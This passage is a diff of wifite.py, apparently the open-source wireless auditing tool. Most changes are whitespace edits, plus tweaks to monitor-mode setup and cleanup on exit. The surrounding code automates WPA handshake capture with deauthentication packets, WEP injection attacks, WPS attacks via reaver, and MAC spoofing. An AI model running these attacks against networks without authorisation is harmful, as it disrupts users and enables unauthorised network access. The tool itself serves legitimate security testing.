diff --git a/wifite.py b/wifite.py index 77f6ae0..613c8e0 100755 --- a/wifite.py +++ b/wifite.py @@ -4,25 +4,25 @@ """ wifite - + author: derv82 at gmail - - Licensed under the GNU General Public License Version 2 (GNU GPL v2), + + Licensed under the GNU General Public License Version 2 (GNU GPL v2), available at: http://www.gnu.org/licenses/gpl-2.0.txt - + (C) 2011 Derv Merkler ----------------- TODO: - + ignore root check when -cracked (afterward) (need root for -check?) "cracked*" in list of AP's - + Restore same command-line switch names from v1 - + If device already in monitor mode, check for and, if applicable, use macchanger - + WPS * Mention reaver automatically resumes sessions * Warning about length of time required for WPS attack (*hours*) @@ -31,28 +31,28 @@ * Update code to work with reaver 1.4 ("x" sec/att) WEP: - * ability to pause/skip/continue + * ability to pause/skip/continue * Option to capture only IVS packets (uses --output-format ivs,csv) - not compatible on older aircrack-ng's. - Just run "airodump-ng --output-format ivs,csv", "No interface specified" = works - would cut down on size of saved .caps - + reaver: MONITOR ACTIVITY! - Enter ESSID when executing (?) - - Ensure WPS key attempts have begun. + - Ensure WPS key attempts have begun. - If no attempts can be made, stop attack - + - During attack, if no attempts are made within X minutes, stop attack & Print - + - Reaver's output when unable to associate: [!] WARNING: Failed to associate with AA:BB:CC:DD:EE:FF (ESSID: ABCDEF) - If failed to associate for x minutes, stop attack (same as no attempts?) - + MIGHTDO: * WPA - crack (pyrit/cowpatty) (not really important) * Test injection at startup? (skippable via command-line switch) - + """ @@ -93,7 +93,7 @@ WPA_ATTACK_TIMEOUT = 500 # Total time to allow for a handshake attack (in seconds) WPA_HANDSHAKE_DIR = 'hs' # Directory in which handshakes .cap files are stored # Strip file path separator if needed -if WPA_HANDSHAKE_DIR != '' and WPA_HANDSHAKE_DIR[-1] == os.sep: +if WPA_HANDSHAKE_DIR != '' and WPA_HANDSHAKE_DIR[-1] == os.sep: WPA_HANDSHAKE_DIR = WPA_HANDSHAKE_DIR[:-1] WPA_FINDINGS = [] # List of strings containing info on successful WPA attacks @@ -104,7 +104,7 @@ # Various programs to use when checking for a four-way handshake. # True means the program must find a valid handshake in order for wifite to recognize a handshake. # Not finding handshake short circuits result (ALL 'True' programs must find handshake) -WPA_HANDSHAKE_TSHARK = True # Checks for sequential 1,2,3 EAPOL msg packets (ignores 4th) +WPA_HANDSHAKE_TSHARK = False # Checks for sequential 1,2,3 EAPOL msg packets (ignores 4th) WPA_HANDSHAKE_PYRIT = False # Sometimes crashes on incomplete dumps, but accurate. WPA_HANDSHAKE_AIRCRACK = True # Not 100% accurate, but fast. WPA_HANDSHAKE_COWPATTY = False # Uses more lenient "nonstrict mode" (-2) @@ -240,21 +240,21 @@ def main(): Where the magic happens. """ global TARGETS_REMAINING, THIS_MAC, CRACKED_TARGETS - + CRACKED_TARGETS = load_cracked() # Load previously-cracked APs from file handle_args() # Parse args from command line, set global variables. - + initial_check() # Ensure required programs are installed. - + # The "get_iface" method anonymizes the MAC address (if needed) # and puts the interface into monitor mode. iface = get_iface() - + THIS_MAC = get_mac_address(iface) # Store current MAC address - + (targets, clients) = scan(iface=iface, channel=TARGET_CHANNEL) - + try: index = 0 while index < len(targets): @@ -278,62 +278,62 @@ def main(): print ' %s\n' % (G+handshake_file+W) print GR+' [+]'+W+' do you want to '+G+'[s]kip'+W+', '+O+'[c]apture again'+W+', or '+R+'[o]verwrite'+W+'?' ri = 'x' - while ri != 's' and ri != 'c' and ri != 'o': + while ri != 's' and ri != 'c' and ri != 'o': ri = raw_input(GR+' [+] '+W+'enter '+G+'s'+W+', '+O+'c,'+W+' or '+R+'o'+W+': '+G).lower() print W+"\b", - if ri == 's': + if ri == 's': targets.pop(index) index -= 1 - elif ri == 'o': + elif ri == 'o': remove_file(handshake_file) continue index += 1 - + except KeyboardInterrupt: print '\n '+R+'(^C)'+O+' interrupted\n' exit_gracefully(0) - + wpa_success = 0 wep_success = 0 wpa_total = 0 wep_total = 0 - + TARGETS_REMAINING = len(targets) for t in targets: TARGETS_REMAINING -= 1 - + # Build list of clients connected to target ts_clients = [] for c in clients: if c.station == t.bssid: ts_clients.append(c) - + print '' if t.encryption.find('WPA') != -1: need_handshake = True if not WPS_DISABLE and t.wps: need_handshake = not wps_attack(iface, t) wpa_total += 1 - + if not need_handshake: wpa_success += 1 if TARGETS_REMAINING < 0: break - + if not WPA_DISABLE and need_handshake: wpa_total += 1 if wpa_get_handshake(iface, t, ts_clients): wpa_success += 1 - + elif t.encryption.find('WEP') != -1: wep_total += 1 if attack_wep(iface, t, ts_clients): wep_success += 1 - + else: print R+' unknown encryption:',t.encryption,W - + # If user wants to stop attacking if TARGETS_REMAINING <= 0: break - + if wpa_total + wep_total > 0: # Attacks are done! Show results to user print '' @@ -344,25 +344,25 @@ def main(): elif wpa_success == wpa_total: print GR+' [+]'+G, else: print GR+' [+]'+O, print '%d/%d%s WPA attacks succeeded' % (wpa_success, wpa_total, W) - + for finding in WPA_FINDINGS: print ' ' + C+finding+W - + if wep_total > 0: if wep_success == 0: print GR+' [+]'+R, elif wep_success == wep_total: print GR+' [+]'+G, else: print GR+' [+]'+O, print '%d/%d%s WEP attacks succeeded' % (wep_success, wep_total, W) - + for finding in WEP_FINDINGS: print ' ' + C+finding+W - + caps = len(WPA_CAPS_TO_CRACK) if caps > 0 and not WPA_DONT_CRACK: print GR+' [+]'+W+' starting '+G+'WPA cracker'+W+' on %s%d handshake%s' % (G, caps, W if caps == 1 else 's'+W) for cap in WPA_CAPS_TO_CRACK: wpa_crack(cap) - + print '' exit_gracefully(0) @@ -399,11 +399,11 @@ def initial_check(): print R+' [!]'+O+' '+C+'http://www.aircrack-ng.org/'+W print R+' [!]'+O+' or: '+W+'sudo apt-get install aircrack-ng\n'+W exit_gracefully(1) - + if not program_exists('iw'): print R+' [!]'+O+' airmon-ng requires the program %s\n' % (R+'iw'+W) exit_gracefully(1) - + printed = False # Check reaver if not program_exists('reaver'): @@ -422,7 +422,7 @@ def initial_check(): if program_exists(rec): continue printed = True print R+' [!]'+O+' the program %s is not required, but is recommended%s' % (R+rec+O, W) - if printed: print '' + if printed: print '' def handle_args(): @@ -443,12 +443,12 @@ def handle_args(): if args.count('-h') + args.count('--help') + args.count('?') + args.count('-help') > 0: help() exit_gracefully(0) - + set_encrypt = False set_hscheck = False set_wep = False capfile = '' # Filename of .cap file to analyze for handshakes - + try: for i in xrange(0, len(args)): @@ -457,16 +457,16 @@ def handle_args(): WPA_DISABLE = True WEP_DISABLE = True set_encrypt = True - if args[i] == '-wpa': + if args[i] == '-wpa': print GR+' [+]'+W+' targeting '+G+'WPA'+W+' encrypted networks (use '+G+'-wps'+W+' for WPS scan)' WPA_DISABLE = False - elif args[i] == '-wep': + elif args[i] == '-wep': print GR+' [+]'+W+' targeting '+G+'WEP'+W+' encrypted networks' WEP_DISABLE = False - elif args[i] == '-wps': + elif args[i] == '-wps': print GR+' [+]'+W+' targeting '+G+'WPS-enabled'+W+' networks' WPS_DISABLE = False - + elif args[i] == '-c': i += 1 try: TARGET_CHANNEL = int(args[i]) @@ -512,15 +512,15 @@ def handle_args(): i += 1 try: capfile = args[i] except IndexError: - print R+' [!]'+O+' unable to analyze capture file'+W + print R+' [!]'+O+' unable to analyze capture file'+W print R+' [!]'+O+' no cap file given!\n'+W exit_gracefully(1) - else: - if not os.path.exists(capfile): + else: + if not os.path.exists(capfile): print R+' [!]'+O+' unable to analyze capture file!'+W print R+' [!]'+O+' file not found: '+R+capfile+'\n'+W exit_gracefully(1) - + elif args[i] == '-cracked': if len(CRACKED_TARGETS) == 0: print R+' [!]'+O+' there are not cracked access points saved to '+R+'cracked.txt\n'+W @@ -530,7 +530,7 @@ def handle_args(): print ' %s (%s) : "%s"' % (C+victim.ssid+W, C+victim.bssid+W, G+victim.key+W) print '' exit_gracefully(0) - + # WPA if not set_hscheck and (args[i] == '-tshark' or args[i] == '-cowpatty' or args[i] == '-aircrack' or args[i] == 'pyrit'): @@ -586,25 +586,25 @@ def handle_args(): WEP_FRAGMENT = False WEP_P0841 = False WEP_HIRTE = False - if args[i] == '-chopchop': + if args[i] == '-chopchop': print GR+' [+]'+W+' WEP chop-chop attack '+G+'enabled'+W WEP_CHOPCHOP = True if args[i] == '-fragment' or args[i] == '-frag' or args[i] == '-fragmentation': print GR+' [+]'+W+' WEP fragmentation attack '+G+'enabled'+W WEP_FRAGMENT = True - if args[i] == '-caffelatte': + if args[i] == '-caffelatte': print GR+' [+]'+W+' WEP caffe-latte attack '+G+'enabled'+W WEP_CAFFELATTE = True - if args[i] == '-arpreplay': + if args[i] == '-arpreplay': print GR+' [+]'+W+' WEP arp-replay attack '+G+'enabled'+W WEP_ARPREPLAY = True - if args[i] == '-p0841': + if args[i] == '-p0841': print GR+' [+]'+W+' WEP p0841 attack '+G+'enabled'+W WEP_P0841 = True - if args[i] == '-hirte': + if args[i] == '-hirte': print GR+' [+]'+W+' WEP hirte attack '+G+'enabled'+W WEP_HIRTE = True - if args[i] == '-nofake': + if args[i] == '-nofake': print GR+' [+]'+W+' ignoring failed fake-authentication '+R+'disabled'+W WEP_IGNORE_FAKEAUTH = False if args[i] == '-wept' or args[i] == '-weptime': @@ -648,16 +648,16 @@ def handle_args(): except ValueError: print R+' [!]'+O+' invalid number: %s' % (R+args[i]+W) except IndexError: print R+' [!]'+O+' no number given!'+W else: print GR+' [+]'+W+' WPS maximum retries set to %s' % (G+args[i] + " retries"+W) - + except IndexError: print '\nindexerror\n\n' - + if capfile != '': analyze_capfile(capfile) print '' def banner(): - """ + """ Displays ASCII art of the highest caliber. """ global REVISION @@ -670,20 +670,20 @@ def banner(): print G+" ':. ':. "+GR+"/___\\"+G+" ,:' ,:' "+GR+"designed for Linux" print G+" ':. "+GR+"/_____\\"+G+" ,:' " print G+" "+GR+"/ \\"+G+" " - print W + print W def help(): """ Prints help screen """ - + head = W sw = G var = GR des = W de = G - + print head+' COMMANDS'+W print sw+'\t-check '+var+'\t'+des+'check capfile '+var+''+des+' for handshakes.'+W print sw+'\t-cracked \t'+des+'display previously-cracked access points'+W @@ -700,7 +700,7 @@ def help(): print sw+'\t-pow '+var+' \t'+des+'attacks any targets with signal strenghth > '+var+'db '+de+'[0]'+W print sw+'\t-quiet \t'+des+'do not print list of APs during scan '+de+'[off]'+W print '' - + print head+'\n WPA'+W print sw+'\t-wpa \t'+des+'only target WPA networks (works with -wps -wep) '+de+'[off]'+W print sw+'\t-wpat '+var+' \t'+des+'time to wait for WPA attack to complete (seconds) '+de+'[500]'+W @@ -712,7 +712,7 @@ def help(): print sw+'\t-pyrit \t'+des+'verify handshake using pyrit '+de+'[off]'+W print sw+'\t-tshark \t'+des+'verify handshake using tshark '+de+'[on]'+W print sw+'\t-cowpatty \t'+des+'verify handshake using cowpatty '+de+'[off]'+W - + print head+'\n WEP'+W print sw+'\t-wep \t'+des+'only target WEP networks '+de+'[off]'+W print sw+'\t-pps '+var+' \t'+des+'set the number of packets per second to inject '+de+'[600]'+W @@ -726,7 +726,7 @@ def help(): print sw+'\t-nofakeauth \t'+des+'stop attack if fake authentication fails '+de+'[off]'+W print sw+'\t-wepca '+GR+' \t'+des+'start cracking when number of ivs surpass n '+de+'[10000]'+W print sw+'\t-wepsave \t'+des+'save a copy of .cap files to this directory '+de+'[off]'+W - + print head+'\n WPS'+W print sw+'\t-wps \t'+des+'only target WPS networks '+de+'[off]'+W print sw+'\t-wpst '+var+' \t'+des+'max wait for new retry before giving up (0: never) '+de+'[660]'+W @@ -762,6 +762,7 @@ def enable_monitor_mode(iface): global IFACE_TO_TAKE_DOWN print GR+' [+]'+W+' enabling monitor mode on %s...' % (G+iface+W), stdout.flush() + call('airmon-ng check kill'.split(), stdout=DN, stderr=DN) call(['airmon-ng', 'start', iface], stdout=DN, stderr=DN) print 'done' IFACE_TO_TAKE_DOWN = get_iface() @@ -782,7 +783,7 @@ def disable_monitor_mode(): PRINTED_SCANNING = False def get_iface(): """ - Get the wireless interface in monitor mode. + Get the wireless interface in monitor mode. Defaults to only device in monitor mode if found. Otherwise, enumerates list of possible wifi devices and asks user to select one to put into monitor mode (if multiple). @@ -793,7 +794,7 @@ def get_iface(): if not PRINTED_SCANNING: print GR+' [+]'+W+' scanning for wireless devices...' PRINTED_SCANNING = True - + proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN) iface = '' monitors = [] @@ -803,7 +804,7 @@ def get_iface(): iface = line[:line.find(' ')] # is the interface if line.find('Mode:Monitor') != -1: monitors.append(iface) - + if WIRELESS_IFACE != '': if monitors.count(WIRELESS_IFACE): return WIRELESS_IFACE print R+' [!]'+O+' could not find wireless interface %s' % ('"'+R+WIRELESS_IFACE+O+'"'+W) @@ -821,13 +822,12 @@ def get_iface(): (GR, W, G, len(monitors), W, G)) i = int(ri) return monitors[i - 1] - + proc = Popen(['airmon-ng'], stdout=PIPE, stderr=DN) for line in proc.communicate()[0].split('\n'): - if len(line) == 0 or line.startswith('Interface'): continue - #monitors.append(line[:line.find('\t')]) - monitors.append(line) - + if len(line) == 0 or line.split()[0] in ['Interface','PHY']: continue + monitors.append(line.split()[1]) + if len(monitors) == 0: print R+' [!]'+O+" no wireless interfaces were found."+W print R+' [!]'+O+" you need to plug in a wifi device or install drivers.\n"+W @@ -837,22 +837,22 @@ def get_iface(): return enable_monitor-mode elif len(monitors) == 1: - monitor = monitors[0][:monitors[0].find('\t')] + monitor = monitors[0] mac_anonymize(monitor) - + return enable_monitor_mode(monitor) - + print GR+" [+]"+W+" available wireless devices:" for i, monitor in enumerate(monitors): print " %s%d%s. %s" % (G, i + 1, W, monitor) - + ri = raw_input(GR+" [+]"+W+" select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W)) while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors): ri = raw_input(" [+] select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W)) i = int(ri) monitor = monitors[i-1][:monitors[i-1].find('\t')] mac_anonymize(monitor) - + return enable_monitor_mode(monitor) @@ -876,17 +876,17 @@ def scan(channel=0, iface='', tried_rtl8187_fix=False): Returns list of selected targets and list of clients. """ remove_airodump_files(temp + 'wifite') - - command = ['airodump-ng', + + command = ['airodump-ng', '-a', # only show associated clients '-w', temp + 'wifite'] # output file if channel != 0: command.append('-c') command.append(str(channel)) command.append(iface) - + proc = Popen(command, stdout=DN, stderr=DN) - + time_started = time.time() print GR+' [+] '+G+'initializing scan'+W+' ('+G+iface+W+'), updates at 5 sec intervals, '+G+'CTRL+C'+W+' when ready.' (targets, clients) = ([], []) @@ -907,9 +907,9 @@ def scan(channel=0, iface='', tried_rtl8187_fix=False): print R+' [!]'+O+' wifite is unable to generate airodump-ng output files'+W print R+' [!]'+O+' you may want to disconnect/reconnect your wifi device'+W exit_gracefully(1) - + (targets, clients) = parse_csv(temp + 'wifite-01.csv') - + # If we are targeting a specific ESSID/BSSID, skip the scan once we find it. if TARGET_ESSID != '': for t in targets: @@ -931,12 +931,12 @@ def scan(channel=0, iface='', tried_rtl8187_fix=False): targets = [t] stop_scanning = True break - + # If user has chosen to target all access points, wait 20 seconds, then return all if ATTACK_ALL_TARGETS and time.time() - time_started > 10: print GR+'\n [+]'+W+' auto-targeted %s%d%s access point%s' % (G, len(targets), W, '' if len(targets) == 1 else 's') stop_scanning = True - + if ATTACK_MIN_POWER > 0 and time.time() - time_started > 10: # Remove targets with power < threshold i = 0 @@ -948,9 +948,9 @@ def scan(channel=0, iface='', tried_rtl8187_fix=False): print GR+'\n [+]'+W+' removed %s targets with power < %ddB, %s remain' % \ (G+str(before_count - len(targets))+W, ATTACK_MIN_POWER, G+str(len(targets))+W) stop_scanning = True - + if stop_scanning: break - + # If there are unknown SSIDs, send deauths to them. if channel != 0 and time.time() - deauth_sent > 5: deauth_sent = time.time() @@ -977,13 +977,13 @@ def scan(channel=0, iface='', tried_rtl8187_fix=False): if ot.ssid == '' and ot.bssid == t.bssid: print '\r %s successfully decloaked "%s" ' % \ (GR+sec_to_hms(time.time() - time_started)+W, G+t.ssid+W) - + old_targets = targets[:] if VERBOSE_APS and len(targets) > 0: targets = sorted(targets, key=lambda t: t.power, reverse=True) if not WPS_DISABLE: wps_check_targets(targets, temp + 'wifite-01.cap', verbose=False) - + os.system('clear') print GR+'\n [+] '+G+'scanning'+W+' ('+G+iface+W+'), updates at 5 sec intervals, '+G+'CTRL+C'+W+' when ready.\n' print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % ('BSSID ' if SHOW_MAC_IN_SCAN else '') @@ -1023,36 +1023,36 @@ def scan(channel=0, iface='', tried_rtl8187_fix=False): # Clients client_text = '' for c in clients: - if c.station == target.bssid: + if c.station == target.bssid: if client_text == '': client_text = 'client' elif client_text[-1] != "s": client_text += "s" if client_text != '': print ' %s' % (G+client_text+W) else: print '' print '' print ' %s %s wireless networks. %s target%s and %s client%s found \r' % ( - GR+sec_to_hms(time.time() - time_started)+W, G+'scanning'+W, - G+str(len(targets))+W, '' if len(targets) == 1 else 's', + GR+sec_to_hms(time.time() - time_started)+W, G+'scanning'+W, + G+str(len(targets))+W, '' if len(targets) == 1 else 's', G+str(len(clients))+W, '' if len(clients) == 1 else 's'), - + stdout.flush() except KeyboardInterrupt: pass print '' - + send_interrupt(proc) try: os.kill(proc.pid, SIGTERM) except OSError: pass except UnboundLocalError: pass - + # Use "wash" program to check for WPS compatibility if not WPS_DISABLE: wps_check_targets(targets, temp + 'wifite-01.cap') - + remove_airodump_files(temp + 'wifite') - + if stop_scanning: return (targets, clients) print '' - + if len(targets) == 0: print R+' [!]'+O+' no targets found!'+W print R+' [!]'+O+' you may need to wait for targets to show up.'+W @@ -1063,7 +1063,7 @@ def scan(channel=0, iface='', tried_rtl8187_fix=False): # Sort by Power targets = sorted(targets, key=lambda t: t.power, reverse=True) - + victims = [] print " NUM ESSID %sCH ENCR POWER WPS? CLIENT" % ('BSSID ' if SHOW_MAC_IN_SCAN else '') print ' --- -------------------- %s-- ---- ----- ---- ------' % ('----------------- ' if SHOW_MAC_IN_SCAN else '') @@ -1102,12 +1102,12 @@ def scan(channel=0, iface='', tried_rtl8187_fix=False): # Clients client_text = '' for c in clients: - if c.station == target.bssid: + if c.station == target.bssid: if client_text == '': client_text = 'client' elif client_text[-1] != "s": client_text += "s" if client_text != '': print ' %s' % (G+client_text+W) else: print '' - + ri = raw_input(GR+"\n [+]"+W+" select "+G+"target numbers"+W+" ("+G+"1-%s)" % (str(len(targets))+W) + \ " separated by commas, or '%s': " % (G+'all'+W)) if ri.strip().lower() == 'all': @@ -1126,14 +1126,14 @@ def scan(channel=0, iface='', tried_rtl8187_fix=False): print O+" [!]"+R+" not a number: %s " % (O+r+W) elif r != '': victims.append(targets[int(r) - 1]) - + if len(victims) == 0: print O+'\n [!] '+R+'no targets selected.\n'+W exit_gracefully(0) - + print '' print ' [+] %s%d%s target%s selected.' % (G, len(victims), W, '' if len(victims) == 1 else 's') - + return (victims, clients) @@ -1148,7 +1148,7 @@ def parse_csv(filename): lines = f.read().split('\n') f.close() except IOError: return ([], []) - + hit_clients = False targets = [] clients = [] @@ -1162,21 +1162,21 @@ def parse_csv(filename): c[cur] = c[cur].strip() if not c[cur].isdigit(): cur += 1 if cur > len(c) - 1: continue - + ssid = c[cur+1] ssidlen = int(c[cur]) ssid = ssid[:ssidlen] - + power = int(c[cur-4]) if power < 0: power += 100 - + enc = c[5] # Ignore non-WPA/WEP networks. if enc.find('WPA') == -1 and enc.find('WEP') == -1: continue if WEP_DISABLE and enc.find('WEP') != -1: continue if WPA_DISABLE and WPS_DISABLE and enc.find('WPA') != -1: continue enc = enc.strip()[:4] - + t = Target(c[0], power, c[cur-2].strip(), c[3], enc, ssid) targets.append(t) else: # Connected clients @@ -1197,17 +1197,17 @@ def wps_check_targets(targets, cap_file, verbose=True): for WPS functionality. Sets "wps" field of targets that match to True. """ global WPS_DISABLE - + if not program_exists('walsh') and not program_exists('wash'): WPS_DISABLE = True # Tell 'scan' we were unable to execute walsh return program_name = 'walsh' if program_exists('walsh') else 'wash' - + if len(targets) == 0 or not os.path.exists(cap_file): return if verbose: print GR+' [+]'+W+' checking for '+G+'WPS compatibility'+W+'...', stdout.flush() - + cmd = [program_name, '-f', cap_file, '-C'] # ignore Frame Check Sum errors @@ -1216,7 +1216,7 @@ def wps_check_targets(targets, cap_file, verbose=True): for line in proc_walsh.communicate()[0].split('\n'): if line.strip() == '' or line.startswith('Scanning for'): continue bssid = line.split(' ')[0] - + for t in targets: if t.bssid.lower() == bssid.lower(): t.wps = True @@ -1247,15 +1247,15 @@ def rtl8187_fix(iface): line = line.upper() if line.strip() == '' or line.startswith('INTERFACE'): continue if line.find(iface.upper()) and line.find('RTL8187') != -1: using_rtl8187 = True - - if not using_rtl8187: + + if not using_rtl8187: # Display error message and exit print R+' [!]'+O+' unable to generate airodump-ng CSV file'+W print R+' [!]'+O+' you may want to disconnect/reconnect your wifi device'+W exit_gracefully(1) - + print O+" [!]"+W+" attempting "+O+"RTL8187 'Unknown Error 132'"+W+" fix..." - + original_iface = iface # Take device out of monitor mode airmon = Popen(['airmon-ng', 'stop', iface], stdout=PIPE, stderr=DN) @@ -1266,7 +1266,7 @@ def rtl8187_fix(iface): line.find('(removed)') != -1: continue original_iface = line.split()[0] # line[:line.find('\t')] - + # Remove drive modules, block/unblock ifaces, probe new modules. print_and_exec(['ifconfig', original_iface, 'down']) print_and_exec(['rmmod', 'rtl8187']) @@ -1275,10 +1275,10 @@ def rtl8187_fix(iface): print_and_exec(['modprobe', 'rtl8187']) print_and_exec(['ifconfig', original_iface, 'up']) print_and_exec(['airmon-ng', 'start', original_iface]) - + print '\r \r', print O+' [!] '+W+'restarting scan...\n' - + return True @@ -1337,7 +1337,7 @@ def remove_airodump_files(prefix): os.remove(temp + 'wep-' + str(i) + '.cap') i += 1 """ - + def remove_file(filename): """ @@ -1351,14 +1351,14 @@ def program_exists(program): """ Uses 'which' (linux command) to check if a program is installed. """ - + proc = Popen(['which', program], stdout=PIPE, stderr=PIPE) txt = proc.communicate() if txt[0].strip() == '' and txt[1].strip() == '': return False if txt[0].strip() != '' and txt[1].strip() == '': return True - + return not (txt[1].strip() == '' or txt[1].find('no %s in' % program) != -1) @@ -1374,12 +1374,12 @@ def sec_to_hms(sec): return '[%d:%02d:%02d]' % (h, m, sec) -def send_interrupt(process): +def send_interrupt(process): + """ + Sends interrupt signal to process's PID. """ - Sends interrupt signal to process's PID. - """ try: - os.kill(process.pid, SIGINT) + os.kill(process.pid, SIGINT) # os.kill(process.pid, SIGTERM) except OSError: pass # process cannot be killed except TypeError: pass # pid is incorrect type @@ -1413,7 +1413,7 @@ def generate_random_mac(old_mac): for i in xrange(0, 6): if i % 2 == 0: new_mac += ':' new_mac += '0123456789abcdef'[random.randint(0,15)] - + # Prevent generating the same MAC address via recursion. if new_mac == old_mac: new_mac = generate_random_mac(old_mac) @@ -1429,21 +1429,21 @@ def mac_anonymize(iface): global ORIGINAL_IFACE_MAC if DO_NOT_CHANGE_MAC: return if not program_exists('ifconfig'): return - + # Store old (current) MAC address proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN) proc.wait() for word in proc.communicate()[0].split('\n')[0].split(' '): if word != '': old_mac = word ORIGINAL_IFACE_MAC = (iface, old_mac) - + new_mac = generate_random_mac(old_mac) - + call(['ifconfig', iface, 'down']) - + print GR+" [+]"+W+" changing %s's MAC from %s to %s..." % (G+iface+W, G+old_mac+W, O+new_mac+W), stdout.flush() - + proc = Popen(['ifconfig', iface, 'hw', 'ether', new_mac], stdout=PIPE, stderr=DN) proc.wait() call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN) @@ -1457,10 +1457,10 @@ def mac_change_back(): iface = ORIGINAL_IFACE_MAC[0] old_mac = ORIGINAL_IFACE_MAC[1] if iface == '' or old_mac == '': return - + print GR+" [+]"+W+" changing %s's mac back to %s..." % (G+iface+W, G+old_mac+W), stdout.flush() - + call(['ifconfig', iface, 'down'], stdout=DN, stderr=DN) proc = Popen(['ifconfig', iface, 'hw', 'ether', old_mac], stdout=PIPE, stderr=DN) proc.wait() @@ -1474,13 +1474,13 @@ def analyze_capfile(capfile): Prints results to console. """ global TARGET_BSSID, TARGET_ESSID - + if TARGET_ESSID == '' and TARGET_BSSID == '': print R+' [!]'+O+' target ssid and bssid are required to check for handshakes' print R+' [!]'+O+' please enter essid (access point name) using -e ' print R+' [!]'+O+' and/or target bssid (mac address) using -b \n' # exit_gracefully(1) - + if TARGET_BSSID == '': # Get the first BSSID found in tshark! TARGET_BSSID = get_bssid_from_cap(TARGET_ESSID, capfile) @@ -1489,14 +1489,14 @@ def analyze_capfile(capfile): print R+' [!]'+O+' unable to guess BSSID from ESSID!' else: print GR+' [+]'+W+' guessed bssid: %s' % (G+TARGET_BSSID+W) - + if TARGET_BSSID != '' and TARGET_ESSID == '': TARGET_ESSID = get_essid_from_cap(TARGET_BSSID, capfile) - + print GR+'\n [+]'+W+' checking for handshakes in %s' % (G+capfile+W) - + t = Target(TARGET_BSSID, '', '', '', 'WPA', TARGET_ESSID) - + if program_exists('pyrit'): result = has_handshake_pyrit(t, capfile) print GR+' [+]'+W+' '+G+'pyrit'+W+':\t\t\t %s' % (G+'found!'+W if result else O+'not found'+W) @@ -1550,7 +1550,7 @@ def get_bssid_from_cap(essid, capfile): Returns '' if not found. """ global TARGET_ESSID - + if not program_exists('tshark'): return '' # Attempt to get BSSID based on ESSID @@ -1565,7 +1565,7 @@ def get_bssid_from_cap(essid, capfile): proc.wait() bssid = proc.communicate()[0].split('\n')[0] if bssid != '': return bssid - + cmd = ['tshark', '-r', capfile, '-R', 'eapol', @@ -1601,6 +1601,9 @@ def exit_gracefully(code): disable_monitor_mode() # Change MAC address back if spoofed mac_change_back() + # Start network-manager (if needed) + print_and_exec('service network-manager start'.split()) + print('') print GR+" [+]"+W+" quitting" # wifite will now exit" # GTFO exit(code) @@ -1608,7 +1611,7 @@ def exit_gracefully(code): def attack_interrupted_prompt(): """ - Promps user to decide if they want to exit, + Promps user to decide if they want to exit, skip to cracking WPA handshakes, or continue attacking the remaining targets (if applicable). returns True if user chose to exit complete, False otherwise @@ -1619,21 +1622,21 @@ def attack_interrupted_prompt(): if TARGETS_REMAINING > 0: options = '' print GR+"\n [+] %s%d%s target%s remain%s" % (G, TARGETS_REMAINING, W, - '' if TARGETS_REMAINING == 1 else 's', + '' if TARGETS_REMAINING == 1 else 's', 's' if TARGETS_REMAINING == 1 else '') print GR+" [+]"+W+" what do you want to do?" options += G+'c'+W print G+" [c]ontinue"+W+" attacking targets" - + if len(WPA_CAPS_TO_CRACK) > 0: options += W+', '+O+'s'+W print O+" [s]kip"+W+" to cracking WPA cap files" options += W+', or '+R+'e'+W print R+" [e]xit"+W+" completely" ri = '' - while ri != 'c' and ri != 's' and ri != 'e': + while ri != 'c' and ri != 's' and ri != 'e': ri = raw_input(GR+' [+]'+W+' please make a selection (%s): ' % options) - + if ri == 's': TARGETS_REMAINING = -1 # Tells start() to ignore other targets, skip to cracking elif ri == 'e': @@ -1667,11 +1670,11 @@ def wpa_get_handshake(iface, target, clients): global TARGETS_REMAINING, WPA_ATTACK_TIMEOUT if WPA_ATTACK_TIMEOUT <= 0: WPA_ATTACK_TIMEOUT = -1 - + # Generate the filename to save the .cap file as _aa-bb-cc-dd-ee-ff.cap save_as = WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \ + '_' + target.bssid.replace(':', '-') + '.cap' - + # Check if we already have a handshake for this SSID... If we do, generate a new filename save_index = 0 while os.path.exists(save_as): @@ -1679,51 +1682,51 @@ def wpa_get_handshake(iface, target, clients): save_as = WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', target.ssid) \ + '_' + target.bssid.replace(':', '-') \ + '_' + str(save_index) + '.cap' - + # Remove previous airodump output files (if needed) remove_airodump_files(temp + 'wpa') - + # Start of large Try-Except; used for catching keyboard interrupt (Ctrl+C) try: # Start airodump-ng process to capture handshakes - cmd = ['airodump-ng', - '-w', temp + 'wpa', - '-c', target.channel, + cmd = ['airodump-ng', + '-w', temp + 'wpa', + '-c', target.channel, '--bssid', target.bssid, iface] proc_read = Popen(cmd, stdout=DN, stderr=DN) - + # Setting deauthentication process here to avoid errors later on proc_deauth = None - + print ' %s starting %swpa handshake capture%s on "%s"' % \ (GR+sec_to_hms(WPA_ATTACK_TIMEOUT)+W, G, W, G+target.ssid+W) got_handshake = False - + seconds_running = 0 - + target_clients = clients[:] client_index = -1 - + # Deauth and check-for-handshake loop while not got_handshake and (WPA_ATTACK_TIMEOUT <= 0 or seconds_running < WPA_ATTACK_TIMEOUT): - + time.sleep(1) seconds_running += 1 - + print " \r", print ' %s listening for handshake...\r' % \ (GR+sec_to_hms(WPA_ATTACK_TIMEOUT - seconds_running)+W), stdout.flush() - - if seconds_running % WPA_DEAUTH_TIMEOUT == 0: + + if seconds_running % WPA_DEAUTH_TIMEOUT == 0: # Send deauth packets via aireplay-ng - cmd = ['aireplay-ng', + cmd = ['aireplay-ng', '-0', # Attack method (Deauthentication) '1', # Number of packets to send '-a', target.bssid] - + client_index += 1 - + if client_index == -1 or len(target_clients) == 0 or client_index >= len(target_clients): print " %s sending 1 deauth to %s*broadcast*%s..." % \ (GR+sec_to_hms(WPA_ATTACK_TIMEOUT - seconds_running)+W, G, W), @@ -1736,73 +1739,73 @@ def wpa_get_handshake(iface, target, clients): cmd.append(target_clients[client_index].bssid) cmd.append(iface) stdout.flush() - + # Send deauth packets via aireplay, wait for them to complete. proc_deauth = Popen(cmd, stdout=DN, stderr=DN) proc_deauth.wait() print "sent\r", stdout.flush() - + # Copy current dump file for consistency if not os.path.exists(temp + 